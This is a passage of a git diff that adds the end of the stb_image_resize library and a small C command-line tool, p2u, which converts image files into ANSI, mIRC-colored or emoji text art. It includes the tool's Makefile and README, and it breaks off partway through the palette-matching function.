+#define STBIR__NEXT_MEMPTR(current, newtype) (newtype*)(((unsigned char*)current) + current##_size)
+
+    info->horizontal_contributors = (stbir__contributors *) tempmem;
+    info->horizontal_coefficients = STBIR__NEXT_MEMPTR(info->horizontal_contributors, float);
+    info->vertical_contributors = STBIR__NEXT_MEMPTR(info->horizontal_coefficients, stbir__contributors);
+    info->vertical_coefficients = STBIR__NEXT_MEMPTR(info->vertical_contributors, float);
+    info->decode_buffer = STBIR__NEXT_MEMPTR(info->vertical_coefficients, float);
+
+    if (stbir__use_height_upsampling(info))
+    {
+        info->horizontal_buffer = NULL;
+        info->ring_buffer = STBIR__NEXT_MEMPTR(info->decode_buffer, float);
+        info->encode_buffer = STBIR__NEXT_MEMPTR(info->ring_buffer, float);
+
+        STBIR_ASSERT((size_t)STBIR__NEXT_MEMPTR(info->encode_buffer, unsigned char) == (size_t)tempmem + tempmem_size_in_bytes);
+    }
+    else
+    {
+        info->horizontal_buffer = STBIR__NEXT_MEMPTR(info->decode_buffer, float);
+        info->ring_buffer = STBIR__NEXT_MEMPTR(info->horizontal_buffer, float);
+        info->encode_buffer = NULL;
+
+        STBIR_ASSERT((size_t)STBIR__NEXT_MEMPTR(info->ring_buffer, unsigned char) == (size_t)tempmem + tempmem_size_in_bytes);
+    }
+
+#undef STBIR__NEXT_MEMPTR
+
+    // This signals that the ring buffer is empty
+    info->ring_buffer_begin_index = -1;
+
+    stbir__calculate_filters(info->horizontal_contributors, info->horizontal_coefficients, info->horizontal_filter, info->horizontal_scale, info->horizontal_shift, info->input_w, info->output_w);
+    stbir__calculate_filters(info->vertical_contributors, info->vertical_coefficients, info->vertical_filter, info->vertical_scale, info->vertical_shift, info->input_h, info->output_h);
+
+    STBIR_PROGRESS_REPORT(0);
+
+    if (stbir__use_height_upsampling(info))
+        stbir__buffer_loop_upsample(info);
+    else
+        stbir__buffer_loop_downsample(info);
+
+    STBIR_PROGRESS_REPORT(1);
+
+#ifdef STBIR_DEBUG_OVERWRITE_TEST
+    STBIR_ASSERT(memcmp(overwrite_output_before_pre, &((unsigned char*)output_data)[-OVERWRITE_ARRAY_SIZE], OVERWRITE_ARRAY_SIZE) == 0);
+    STBIR_ASSERT(memcmp(overwrite_output_after_pre, &((unsigned char*)output_data)[begin_forbidden], OVERWRITE_ARRAY_SIZE) == 0);
+    STBIR_ASSERT(memcmp(overwrite_tempmem_before_pre, &((unsigned char*)tempmem)[-OVERWRITE_ARRAY_SIZE], OVERWRITE_ARRAY_SIZE) == 0);
+    STBIR_ASSERT(memcmp(overwrite_tempmem_after_pre, &((unsigned char*)tempmem)[tempmem_size_in_bytes], OVERWRITE_ARRAY_SIZE) == 0);
+#endif
+
+    return 1;
+}
+
+
+static int stbir__resize_arbitrary(
+    void *alloc_context,
+    const void* input_data, int input_w, int input_h, int input_stride_in_bytes,
+    void* output_data, int output_w, int output_h, int output_stride_in_bytes,
+    float s0, float t0, float s1, float t1, float *transform,
+    int channels, int alpha_channel, stbir_uint32 flags, stbir_datatype type,
+    stbir_filter h_filter, stbir_filter v_filter,
+    stbir_edge edge_horizontal, stbir_edge edge_vertical, stbir_colorspace colorspace)
+{
+    stbir__info info;
+    int result;
+    size_t memory_required;
+    void* extra_memory;
+
+    stbir__setup(&info, input_w, input_h, output_w, output_h, channels);
+    stbir__calculate_transform(&info, s0,t0,s1,t1,transform);
+    stbir__choose_filter(&info, h_filter, v_filter);
+    memory_required = stbir__calculate_memory(&info);
+    extra_memory = STBIR_MALLOC(memory_required, alloc_context);
+
+    if (!extra_memory)
+        return 0;
+
+    result = stbir__resize_allocated(&info, input_data, input_stride_in_bytes,
+                                            output_data, output_stride_in_bytes, 
+                                            alpha_channel, flags, type,
+                                            edge_horizontal, edge_vertical,
+                                            colorspace, extra_memory, memory_required);
+
+    STBIR_FREE(extra_memory, alloc_context);
+
+    return result;
+}
+
+STBIRDEF int stbir_resize_uint8(     const unsigned char *input_pixels , int input_w , int input_h , int input_stride_in_bytes,
+                                           unsigned char *output_pixels, int output_w, int output_h, int output_stride_in_bytes,
+                                     int num_channels)
+{
+    return stbir__resize_arbitrary(NULL, input_pixels, input_w, input_h, input_stride_in_bytes,
+        output_pixels, output_w, output_h, output_stride_in_bytes,
+        0,0,1,1,NULL,num_channels,-1,0, STBIR_TYPE_UINT8, STBIR_FILTER_DEFAULT, STBIR_FILTER_DEFAULT,
+        STBIR_EDGE_CLAMP, STBIR_EDGE_CLAMP, STBIR_COLORSPACE_LINEAR);
+}
+
+STBIRDEF int stbir_resize_float(     const float *input_pixels , int input_w , int input_h , int input_stride_in_bytes,
+                                           float *output_pixels, int output_w, int output_h, int output_stride_in_bytes,
+                                     int num_channels)
+{
+    return stbir__resize_arbitrary(NULL, input_pixels, input_w, input_h, input_stride_in_bytes,
+        output_pixels, output_w, output_h, output_stride_in_bytes,
+        0,0,1,1,NULL,num_channels,-1,0, STBIR_TYPE_FLOAT, STBIR_FILTER_DEFAULT, STBIR_FILTER_DEFAULT,
+        STBIR_EDGE_CLAMP, STBIR_EDGE_CLAMP, STBIR_COLORSPACE_LINEAR);
+}
+
+STBIRDEF int stbir_resize_uint8_srgb(const unsigned char *input_pixels , int input_w , int input_h , int input_stride_in_bytes,
+                                           unsigned char *output_pixels, int output_w, int output_h, int output_stride_in_bytes,
+                                     int num_channels, int alpha_channel, int flags)
+{
+    return stbir__resize_arbitrary(NULL, input_pixels, input_w, input_h, input_stride_in_bytes,
+        output_pixels, output_w, output_h, output_stride_in_bytes,
+        0,0,1,1,NULL,num_channels,alpha_channel,flags, STBIR_TYPE_UINT8, STBIR_FILTER_DEFAULT, STBIR_FILTER_DEFAULT,
+        STBIR_EDGE_CLAMP, STBIR_EDGE_CLAMP, STBIR_COLORSPACE_SRGB);
+}
+
+STBIRDEF int stbir_resize_uint8_srgb_edgemode(const unsigned char *input_pixels , int input_w , int input_h , int input_stride_in_bytes,
+                                                    unsigned char *output_pixels, int output_w, int output_h, int output_stride_in_bytes,
+                                              int num_channels, int alpha_channel, int flags,
+                                              stbir_edge edge_wrap_mode)
+{
+    return stbir__resize_arbitrary(NULL, input_pixels, input_w, input_h, input_stride_in_bytes,
+        output_pixels, output_w, output_h, output_stride_in_bytes,
+        0,0,1,1,NULL,num_channels,alpha_channel,flags, STBIR_TYPE_UINT8, STBIR_FILTER_DEFAULT, STBIR_FILTER_DEFAULT,
+        edge_wrap_mode, edge_wrap_mode, STBIR_COLORSPACE_SRGB);
+}
+
+STBIRDEF int stbir_resize_uint8_generic( const unsigned char *input_pixels , int input_w , int input_h , int input_stride_in_bytes,
+                                               unsigned char *output_pixels, int output_w, int output_h, int output_stride_in_bytes,
+                                         int num_channels, int alpha_channel, int flags,
+                                         stbir_edge edge_wrap_mode, stbir_filter filter, stbir_colorspace space, 
+                                         void *alloc_context)
+{
+    return stbir__resize_arbitrary(alloc_context, input_pixels, input_w, input_h, input_stride_in_bytes,
+        output_pixels, output_w, output_h, output_stride_in_bytes,
+        0,0,1,1,NULL,num_channels,alpha_channel,flags, STBIR_TYPE_UINT8, filter, filter,
+        edge_wrap_mode, edge_wrap_mode, space);
+}
+
+STBIRDEF int stbir_resize_uint16_generic(const stbir_uint16 *input_pixels  , int input_w , int input_h , int input_stride_in_bytes,
+                                               stbir_uint16 *output_pixels , int output_w, int output_h, int output_stride_in_bytes,
+                                         int num_channels, int alpha_channel, int flags,
+                                         stbir_edge edge_wrap_mode, stbir_filter filter, stbir_colorspace space, 
+                                         void *alloc_context)
+{
+    return stbir__resize_arbitrary(alloc_context, input_pixels, input_w, input_h, input_stride_in_bytes,
+        output_pixels, output_w, output_h, output_stride_in_bytes,
+        0,0,1,1,NULL,num_channels,alpha_channel,flags, STBIR_TYPE_UINT16, filter, filter,
+        edge_wrap_mode, edge_wrap_mode, space);
+}
+
+
+STBIRDEF int stbir_resize_float_generic( const float *input_pixels         , int input_w , int input_h , int input_stride_in_bytes,
+                                               float *output_pixels        , int output_w, int output_h, int output_stride_in_bytes,
+                                         int num_channels, int alpha_channel, int flags,
+                                         stbir_edge edge_wrap_mode, stbir_filter filter, stbir_colorspace space, 
+                                         void *alloc_context)
+{
+    return stbir__resize_arbitrary(alloc_context, input_pixels, input_w, input_h, input_stride_in_bytes,
+        output_pixels, output_w, output_h, output_stride_in_bytes,
+        0,0,1,1,NULL,num_channels,alpha_channel,flags, STBIR_TYPE_FLOAT, filter, filter,
+        edge_wrap_mode, edge_wrap_mode, space);
+}
+
+
+STBIRDEF int stbir_resize(         const void *input_pixels , int input_w , int input_h , int input_stride_in_bytes,
+                                         void *output_pixels, int output_w, int output_h, int output_stride_in_bytes,
+                                   stbir_datatype datatype,
+                                   int num_channels, int alpha_channel, int flags,
+                                   stbir_edge edge_mode_horizontal, stbir_edge edge_mode_vertical, 
+                                   stbir_filter filter_horizontal,  stbir_filter filter_vertical,
+                                   stbir_colorspace space, void *alloc_context)
+{
+    return stbir__resize_arbitrary(alloc_context, input_pixels, input_w, input_h, input_stride_in_bytes,
+        output_pixels, output_w, output_h, output_stride_in_bytes,
+        0,0,1,1,NULL,num_channels,alpha_channel,flags, datatype, filter_horizontal, filter_vertical,
+        edge_mode_horizontal, edge_mode_vertical, space);
+}
+
+
+STBIRDEF int stbir_resize_subpixel(const void *input_pixels , int input_w , int input_h , int input_stride_in_bytes,
+                                         void *output_pixels, int output_w, int output_h, int output_stride_in_bytes,
+                                   stbir_datatype datatype,
+                                   int num_channels, int alpha_channel, int flags,
+                                   stbir_edge edge_mode_horizontal, stbir_edge edge_mode_vertical, 
+                                   stbir_filter filter_horizontal,  stbir_filter filter_vertical,
+                                   stbir_colorspace space, void *alloc_context,
+                                   float x_scale, float y_scale,
+                                   float x_offset, float y_offset)
+{
+    float transform[4];
+    transform[0] = x_scale;
+    transform[1] = y_scale;
+    transform[2] = x_offset;
+    transform[3] = y_offset;
+    return stbir__resize_arbitrary(alloc_context, input_pixels, input_w, input_h, input_stride_in_bytes,
+        output_pixels, output_w, output_h, output_stride_in_bytes,
+        0,0,1,1,transform,num_channels,alpha_channel,flags, datatype, filter_horizontal, filter_vertical,
+        edge_mode_horizontal, edge_mode_vertical, space);
+}
+
+STBIRDEF int stbir_resize_region(  const void *input_pixels , int input_w , int input_h , int input_stride_in_bytes,
+                                         void *output_pixels, int output_w, int output_h, int output_stride_in_bytes,
+                                   stbir_datatype datatype,
+                                   int num_channels, int alpha_channel, int flags,
+                                   stbir_edge edge_mode_horizontal, stbir_edge edge_mode_vertical, 
+                                   stbir_filter filter_horizontal,  stbir_filter filter_vertical,
+                                   stbir_colorspace space, void *alloc_context,
+                                   float s0, float t0, float s1, float t1)
+{
+    return stbir__resize_arbitrary(alloc_context, input_pixels, input_w, input_h, input_stride_in_bytes,
+        output_pixels, output_w, output_h, output_stride_in_bytes,
+        s0,t0,s1,t1,NULL,num_channels,alpha_channel,flags, datatype, filter_horizontal, filter_vertical,
+        edge_mode_horizontal, edge_mode_vertical, space);
+}
+
+#endif // STB_IMAGE_RESIZE_IMPLEMENTATION
+
+/*
+------------------------------------------------------------------------------
+This software is available under 2 licenses -- choose whichever you prefer.
+------------------------------------------------------------------------------
+ALTERNATIVE A - MIT License
+Copyright (c) 2017 Sean Barrett
+Permission is hereby granted, free of charge, to any person obtaining a copy of 
+this software and associated documentation files (the "Software"), to deal in 
+the Software without restriction, including without limitation the rights to 
+use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies 
+of the Software, and to permit persons to whom the Software is furnished to do 
+so, subject to the following conditions:
+The above copyright notice and this permission notice shall be included in all 
+copies or substantial portions of the Software.
+THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 
+IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 
+FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 
+AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 
+LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 
+OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 
+SOFTWARE.
+------------------------------------------------------------------------------
+ALTERNATIVE B - Public Domain (www.unlicense.org)
+This is free and unencumbered software released into the public domain.
+Anyone is free to copy, modify, publish, use, compile, sell, or distribute this 
+software, either in source code form or as a compiled binary, for any purpose, 
+commercial or non-commercial, and by any means.
+In jurisdictions that recognize copyright laws, the author or authors of this 
+software dedicate any and all copyright interest in the software to the public 
+domain. We make this dedication for the benefit of the public at large and to 
+the detriment of our heirs and successors. We intend this dedication to be an 
+overt act of relinquishment in perpetuity of all present and future rights to 
+this software under copyright law.
+THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 
+IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 
+FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 
+AUTHORS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN 
+ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION 
+WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
+------------------------------------------------------------------------------
+*/
diff --git a/art/p2u/Makefile b/art/p2u/Makefile
new file mode 100644
index 0000000..c3d15fd
--- /dev/null
+++ b/art/p2u/Makefile
@@ -0,0 +1,25 @@
+PROG := p2u
+SRC := p2u.c
+CC := cc
+CFLAGS += -g -std=c99 -Wall
+LDFLAGS += -lm
+PREFIX ?= /usr/local
+
+UNAME := $(shell sh -c 'uname -s 2>/dev/null')
+
+ifeq ($(UNAME), Darwin)
+	CC := clang
+	CFLAGS += -Wunused-result -Wunused-value
+endif
+
+default:
+	$(CC) $(CFLAGS) $(SRC) $(LDFLAGS) -o $(PROG)
+
+.PHONY: install clean
+
+install:
+	cp $(PROG) $(PREFIX)/bin/$(PROG)
+
+clean:
+	rm -rf $(PROG) $(PROG).dSYM
+
diff --git a/art/p2u/README.md b/art/p2u/README.md
new file mode 100644
index 0000000..a11c206
--- /dev/null
+++ b/art/p2u/README.md
@@ -0,0 +1,32 @@
+# p2u
+
+Convert JPG/GIF/PNG/PSD/TIFF/etc to ANSI and mIRC art
+
+![screenshot](https://git.trollforge.org/p2u/plain/screenshot.png)
+
+## Installation
+
+```
+make
+sudo make install
+```
+
+## Usage
+
+```
+usage: p2u [options] input
+
+-b percent     Adjust brightness levels, default is 100.
+-f a|d|e|m     Specify output format ANSI, DOS (ANSI with
+               CP437 characters), emoji or mirc.  Default is ANSI.
+-p m|v|x       Specify palette to use, mirc, VGA, or extended mirc,
+               default is VGA.
+-s percent     Adjust saturation levels, default is 100.
+-t percent     Adjust transparency threshold of alpha channel,
+               default is 50.
+-w width       Specify output width, default is the image width.
+```
+
+By default the output will be the same width as the width in pixels of the
+original image.  Each character represents 1x2 pixel blocks.  Specifiying
+width will adjust the height to preserve the aspect ratio.
diff --git a/art/p2u/p2u.c b/art/p2u/p2u.c
new file mode 100644
index 0000000..6ff4767
--- /dev/null
+++ b/art/p2u/p2u.c
@@ -0,0 +1,618 @@
+/* Copyright (c) 2018 Trollforge. All rights reserved.
+ *
+ * Redistribution and use in source and binary forms, with or without
+ * modification, are permitted provided that the following conditions
+ * are met:
+ * 1. Redistributions of source code must retain the above copyright
+ *    notice, this list of conditions and the following disclaimer.
+ * 2. Redistributions in binary form must reproduce the above copyright
+ *    notice, this list of conditions and the following disclaimer in the
+ *    documentation and/or other materials provided with the distribution.
+ * 3. Trollforge's name may not be used to endorse or promote products
+ *    derived from this software without specific prior written permission.
+ */
+
+#include <math.h>
+#include <stdio.h>
+#include <string.h>
+#include <stdlib.h>
+#include <unistd.h>
+#include <getopt.h>
+#include <stdbool.h>
+
+#define STB_IMAGE_IMPLEMENTATION
+#include "stb_image.h"
+
+#define STB_IMAGE_RESIZE_IMPLEMENTATION
+#include "stb_image_resize.h"
+
+#define R	0
+#define G	1
+#define B	2
+#define A	3
+
+#define DIST(x, y)	fabs(sqrtf((x[R] - y[R]) * (x[R] - y[R]) + \
+				   (x[G] - y[G]) * (x[G] - y[G]) + \
+				   (x[B] - y[B]) * (x[B] - y[B])))
+
+#define ANSI_FMT	0
+#define MIRC_FMT	1
+#define EMOJI_FMT	2
+
+#define VGA_PAL		0
+#define MIRC_PAL	1
+#define XIRC_PAL	2
+
+typedef struct block_s {
+	int color;
+} block_t;
+
+void usage(void);
+int nearestcolor(float *pixel, int palette, float tlevel);
+double huetorgb(double p, double q, double t);
+void tweak(float *pixel, float sat, float lum);
+
+int
+main(int argc, char *argv[])
+{
+	int width = 0;
+	int height = 0;
+	int channels = 0;
+	block_t *block = NULL;
+
+	int format = ANSI_FMT;
+	int palette = VGA_PAL;
+
+	bool cp437 = false;
+	bool useice = false;
+	bool resize = false;
+
+	long resize_width = 0;
+	long resize_height = 0;
+
+	int ch = 0;
+	int fg = 0;
+	int bg = 0;
+	int lfg = 0;
+	int lbg = 0;
+
+	float *pixel = NULL;
+	float *resized = NULL;
+
+	float brightness = 100.0f;
+	float saturation = 100.0f;
+	float tlevel = 0.5f;
+
+	bool verbose = false;
+
+	while((ch = getopt(argc, argv, "b:f:p:s:t:w:v")) != -1) {
+		switch (ch) {
+			case 'b':
+				brightness = strtof(optarg, NULL);
+				break;
+			case 'f':
+				switch (optarg[0]) {
+					case 'a':
+						format = ANSI_FMT;
+						break;
+					case 'd':
+						format = ANSI_FMT;
+						cp437 = true;
+						useice = true;
+						break;
+					case 'm':
+						format = MIRC_FMT;
+						break;
+					case 'e':
+						format = EMOJI_FMT;
+						break;
+					default:
+						usage();
+						break;
+				}
+				break;
+			case 'p':
+				switch (optarg[0]) {
+					case 'm':
+						palette = MIRC_PAL;
+						break;
+					case 'v':
+						palette = VGA_PAL;
+						break;
+					case 'x':
+						palette = XIRC_PAL;
+						break;
+					default:
+						usage();
+						break;
+				}
+				break;
+			case 's':
+				saturation = strtof(optarg, NULL);
+				break;
+			case 't':
+				tlevel = strtof(optarg, NULL);
+				break;
+			case 'w':
+				resize_width = strtol(optarg, NULL, 10);
+				resize = true;
+				break;
+			case 'v':
+				verbose = true;
+				break;
+			default:
+				usage();
+		}
+	}
+	argc -= optind;
+	argv += optind;
+
+	if (argc < 1) {
+		usage();
+	}
+
+	/* XXX handle alpha eventually */
+	/* channels is the number of channels in the original file, not our buffer) */
+	pixel = stbi_loadf(argv[0], &width, &height, &channels, STBI_rgb_alpha);
+
+	if (!pixel) {
+		fprintf(stderr, "Unable to read file: %s\n", argv[0]);
+		usage();
+	}
+
+	if (resize) {
+		resize_height = height * resize_width / width;
+
+		resized = malloc(sizeof(float) * resize_width * resize_height * STBI_rgb_alpha);
+
+		stbir_resize_float(pixel, width, height, 0,
+				   resized, resize_width, resize_height, 0,
+				   STBI_rgb_alpha);
+
+		free(pixel);
+
+		pixel = resized;
+		width = resize_width;
+		height = resize_height;
+	}
+
+	if (!pixel) {
+		usage();
+	}
+
+	if (verbose) {
+		fprintf(stderr, "file: %s\n", argv[0]);
+		fprintf(stderr, "format: %s\n", format == ANSI_FMT ? "ANSI" :
+						format == MIRC_FMT ? "mIRC" :
+						"emoji");
+		fprintf(stderr, "palette: %s\n", palette == VGA_PAL ? "VGA" : "mIRC");
+
+		if (format == ANSI_FMT) {
+			fprintf(stderr, "iCE: %s\n", useice ? "true" : "false");
+			fprintf(stderr, "CP437: %s\n", cp437 ? "true" : "false");
+		}
+
+		fprintf(stderr, "resized: %s\n", resize ? "true" : "false");
+		fprintf(stderr, "geometry: %dx%d\n", width, height);
+		fprintf(stderr, "channels: %d\n", STBI_rgb);
+
+		fprintf(stderr, "saturation: %f\n", saturation);
+		fprintf(stderr, "brightness: %f\n", brightness);
+	}
+
+	if (brightness != 100.0f || saturation != 100.0f) {
+		for (int i = 0; i < height; i++) {
+			for (int j = 0; j < width; j++) {
+				tweak(&pixel[((width * i) + j) * STBI_rgb_alpha],
+				      saturation, brightness);
+			}
+		}
+	}
+
+	block = malloc(sizeof(block_t) * height * width);
+
+	if (format == EMOJI_FMT) {
+		palette = VGA_PAL;
+	}
+
+	for (int i = 0; i < height; i++) {
+		for (int j = 0; j < width; j++) {
+			block[(width * i) + j].color =
+			nearestcolor(&pixel[((width * i) + j) * STBI_rgb_alpha],
+				     palette, tlevel);
+		}
+	}
+	free(pixel);
+
+	if (format == EMOJI_FMT) {
+		for (int i = 0; i < height; i++) {
+			for (int j = 0; j < width; j++) {
+				switch (block[(width * i) + j].color) {
+					case 0:
+						printf("⬛");
+						break;
+					case 1:
+						printf("🔴");
+						break;
+					case 2:
+						printf("💚");
+						break;
+					case 3:
+						printf("💩");
+						break;
+					case 4:
+						printf("💙");
+						break;
+					case 5:
+						printf("💜");
+						break;
+					case 6:
+						printf("📫");
+						break;
+					case 7:
+						printf("👽");
+						break;
+					case 8:
+						printf("💣");
+						break;
+					case 9:
+						printf("🧠");
+						break;
+					case 10:
+						printf("🎾");
+						break;
+					case 11:
+						printf("🌞");
+						break;
+					case 12:
+						printf("♿");
+						break;
+					case 13:
+						printf("🐷");
+						break;
+					case 14:
+						printf("💦");
+						break;
+					case 15:
+						printf("💭");
+						break;
+					/* transparent */
+					case -1:
+						printf(" ");
+						break;
+				}
+			}
+			printf("\n");
+		}
+		return 0;
+	}
+
+	for (int i = 0; i + 1 < height; i += 2) {
+		for (int j = 0; j < width; j++) {
+			fg = block[(width * i) + j].color;
+			bg = block[(width * (i + 1)) + j].color;
+
+			/* dont print color codes if we dont have to */
+			if (j != 0 && lbg == bg && lfg == fg) {
+				/* try to save bytes */
+				if (bg == fg) {
+					printf(" ");
+				} else {
+					cp437 ? printf("\xdf") : printf("▀");
+				}
+			} else {
+				/* XXX we dont really have to print both attrs */
+				/* XXX not handling alpha here either */
+				if (format == ANSI_FMT) {
+					if (useice) {
+						printf("\x1b[%s%d;%dm%s",
+							/* bold and ice */
+							(fg > 7 && bg > 7) ? "1;5;" :
+							/* bold only */
+							(fg > 7 && bg < 8) ? "1;" :
+							/* ice only */
+							(fg < 8 && bg > 7) ? "5;" :
+							/* neither */
+							"",
+							fg > 7 ? fg - 8 + 30 : fg + 30,
+							bg > 7 ? bg - 8 + 40 : bg + 40,
+							bg == fg ? " " : cp437 ? "\xdf" : "▀");
+					} else {
+					/* XXX this doesnt work for extended colors */
+					printf("\x1b[%d;%dm%s",
+						fg < 8 ? fg + 30 : fg - 8 + 90,
+						bg < 8 ? bg + 40 : bg - 8 + 100,
+						bg == fg ? " " : cp437 ? "\xdf" : "▀");
+					}
+				} else {
+					if (bg == -1 && fg != -1) {
+						printf("\x03%d%s", fg, cp437 ? "\xdf" : "▀");
+					} else if (fg == -1 && bg != -1) {
+						printf("\x03%d%s", bg, cp437 ? "\xdc" : "▄");
+					} else if (fg == -1 && bg == -1) {
+						printf("\x03 ");
+					} else {
+						printf("\x03%d,%d%s", fg, bg,
+						       bg == fg ? " " : cp437 ? "\xdf" : "▀");
+					}
+				}
+			}
+			lbg = bg;
+			lfg = fg;
+		}
+		/* reset to prevent line bleeding on terms */
+		if (format == ANSI_FMT) {
+			printf("\x1b[0m%s", cp437 && width == 80 ? "" : "\n");
+		} else {
+			printf("\n");
+		}
+	}
+	return 0;
+}
+
+int
+nearestcolor(float *pixel, int palette, float tlevel)
+{
+
+	if (pixel[A] < tlevel) {
+		return -1;
+	}
+	/* vga palette, maybe add more */
+	float vga_palette[16][3] = {{0.00f, 0.00f, 0.00f},
+				    {0.66f, 0.00f, 0.00f},
+				    {0.00f, 0.66f, 0.00f},
+				    {0.66f, 0.33f, 0.00f},
+				    {0.00f, 0.00f, 0.66f},
+				    {0.66f, 0.00f, 0.66f},
+				    {0.00f, 0.66f, 0.66f},
+				    {0.66f, 0.66f, 0.66f},
+				    {0.33f, 0.33f, 0.33f},
+				    {1.00f, 0.85f, 0.85f},
+				    {0.33f, 1.00f, 0.33f},
+				    {1.00f, 1.00f, 0.33f},
+				    {0.33f, 0.33f, 1.00f},
+				    {1.00f, 0.33f, 1.00f},
+				    {0.33f, 1.00f, 1.00f},
+				    {1.00f, 1.00f, 1.00f}};
+
+	float mirc_palette[16][3] = {{1.00f, 1.00f, 1.00f},
+				     {0.00f, 0.00f, 0.00f},
+				     {0.00f, 0.00f, 0.50f},
+				     {0.00f, 0.57f, 0.00f},
+				     {1.00f, 0.00f, 0.00f},
+				     {0.50f, 0.00f, 0.00f},
+				     {0.61f, 0.00f, 0.61f},
+				     {0.98f, 0.50f, 0.00f},
+				     {1.00f, 1.00f, 0.00f},
+				     {0.00f, 0.98f, 0.00f},
+				     {0.00f, 0.57f, 0.57f},
+				     {0.00f, 1.00f, 1.00f},
+				     {0.00f, 0.33f, 0.98f},
+				     {1.00f, 0.00f, 1.00f},
+				     {0.50f, 0.50f, 0.50f},
+				     {0.82f, 0.82f, 0.82f}};
+
+	float xirc_palette[99][3] = {{1.00f, 1.00f, 1.00f},
+				     {0.00f, 0.00f, 0.00f},
+				     {0.00f, 0.00f, 0.50f},
+				     {0.00f, 0.57f, 0.00f},
+				     {1.00f, 0.00f, 0.00f},
+				     {0.50f, 0.00f, 0.00f},
+				     {0.61f, 0.00f, 0.61f},
+				     {0.98f, 0.50f, 0.00f},
+				     {1.00f, 1.00f, 0.00f},
+				     {0.00f, 0.98f, 0.00f},
+				     {0.00f, 0.57f, 0.57f},
+				     {0.00f, 1.00f, 1.00f},
+				     {0.00f, 0.33f, 0.98f},
+				     {1.00f, 0.00f, 1.00f},
+				     {0.50f, 0.50f, 0.50f},
+				     {0.82f, 0.82f, 0.82f},
+				     {0.28f, 0.00f, 0.00f},
+				     {0.28f, 0.13f, 0.00f},
+				     {0.28f, 0.28f, 0.00f},
+				     {0.20f, 0.28f, 0.00f},
+				     {0.00f, 0.28f, 0.00f},
+				     {0.00f, 0.28f, 0.17f},
+				     {0.00f, 0.28f, 0.28f},
+				     {0.00f, 0.15f, 0.28f},
+				     {0.00f, 0.00f, 0.28f},
+				     {0.18f, 0.00f, 0.28f},
+				     {0.28f, 0.00f, 0.28f},
+				     {0.28f, 0.00f, 0.16f},
+				     {0.45f, 0.00f, 0.00f},
+				     {0.45f, 0.23f, 0.00f},
+				     {0.45f, 0.45f, 0.00f},
+				     {0.32f, 0.45f, 0.00f},
+				     {0.00f, 0.45f, 0.00f},
+				     {0.00f, 0.45f, 0.29f},
+				     {0.00f, 0.45f, 0.45f},
+				     {0.00f, 0.25f, 0.45f},
+				     {0.00f, 0.00f, 0.45f},
+				     {0.29f, 0.00f, 0.45f},
+				     {0.45f, 0.00f, 0.45f},
+				     {0.45f, 0.00f, 0.27f},
+				     {0.71f, 0.00f, 0.00f},
+				     {0.71f, 0.39f, 0.00f},
+				     {0.71f, 0.71f, 0.00f},
+				     {0.49f, 0.71f, 0.00f},
+				     {0.00f, 0.71f, 0.00f},
+				     {0.00f, 0.71f, 0.44f},
+				     {0.00f, 0.71f, 0.71f},
+				     {0.00f, 0.39f, 0.71f},
+				     {0.00f, 0.00f, 0.71f},
+				     {0.46f, 0.00f, 0.71f},
+				     {0.71f, 0.00f, 0.71f},
+				     {0.71f, 0.00f, 0.42f},
+				     {1.00f, 0.00f, 0.00f},
+				     {1.00f, 0.55f, 0.00f},
+				     {1.00f, 1.00f, 0.00f},
+				     {0.70f, 1.00f, 0.00f},
+				     {0.00f, 1.00f, 0.00f},
+				     {0.00f, 1.00f, 0.63f},
+				     {0.00f, 1.00f, 1.00f},
+				     {0.00f, 0.55f, 1.00f},
+				     {0.00f, 0.00f, 1.00f},
+				     {0.65f, 0.00f, 1.00f},
+				     {1.00f, 0.00f, 1.00f},
+				     {1.00f, 0.00f, 0.60f},
+				     {1.00f, 0.35f, 0.35f},
+				     {1.00f, 0.71f, 0.35f},
+				     {1.00f, 1.00f, 0.44f},
+				     {0.81f, 1.00f, 0.38f},
+				     {0.44f, 1.00f, 0.44f},
+				     {0.40f, 1.00f, 0.79f},
+				     {0.43f, 1.00f, 1.00f},
+				     {0.35f, 0.71f, 1.00f},
+				     {0.35f, 0.35f, 1.00f},
+				     {0.77f, 0.35f, 1.00f},
+				     {1.00f, 0.40f, 1.00f},
+				     {1.00f, 0.35f, 0.74f},
+				     {1.00f, 0.61f, 0.61f},
+				     {1.00f, 0.83f, 0.61f},
+				     {1.00f, 1.00f, 0.61f},
+				     {0.89f, 1.00f, 0.61f},
+				     {0.61f, 1.00f, 0.61f},
+				     {0.61f, 1.00f, 0.86f},
+				     {0.61f, 1.00f, 1.00f},
+				     {0.61f, 0.83f, 1.00f},
+				     {0.61f, 0.61f, 1.00f},
+				     {0.86f, 0.61f, 1.00f},
+				     {1.00f, 0.61f, 1.00f},
+				     {1.00f, 0.58f, 0.83f},
+				     {0.00f, 0.00f, 0.00f},
+				     {0.07f, 0.07f, 0.07f},
+				     {0.16f, 0.16f, 0.16f},
+				     {0.21f, 0.21f, 0.21f},
+				     {0.30f, 0.30f, 0.30f},
+				     {0.40f, 0.40f, 0.40f},
+				     {0.51f, 0.51f, 0.51f},
+				     {0.62f, 0.62f, 0.62f},
+				     {0.74f, 0.74f, 0.74f},
+				     {0.89f, 0.89f, 0.89f},
+				     {1.00f, 1.00f, 1.00f}};
+
+	float delta = 10;
+	int color = 0;
+
+	if (palette == MIRC_PAL) {
+		for (int i = 0; i < 16; i++) {
+			if (DIST(pixel, mirc_palette[i]) < delta) {
+				delta = DIST(pixel, mirc_palette[i]);
+				color = i;
+			}
+		}
+	} else if (palette == VGA_PAL) {
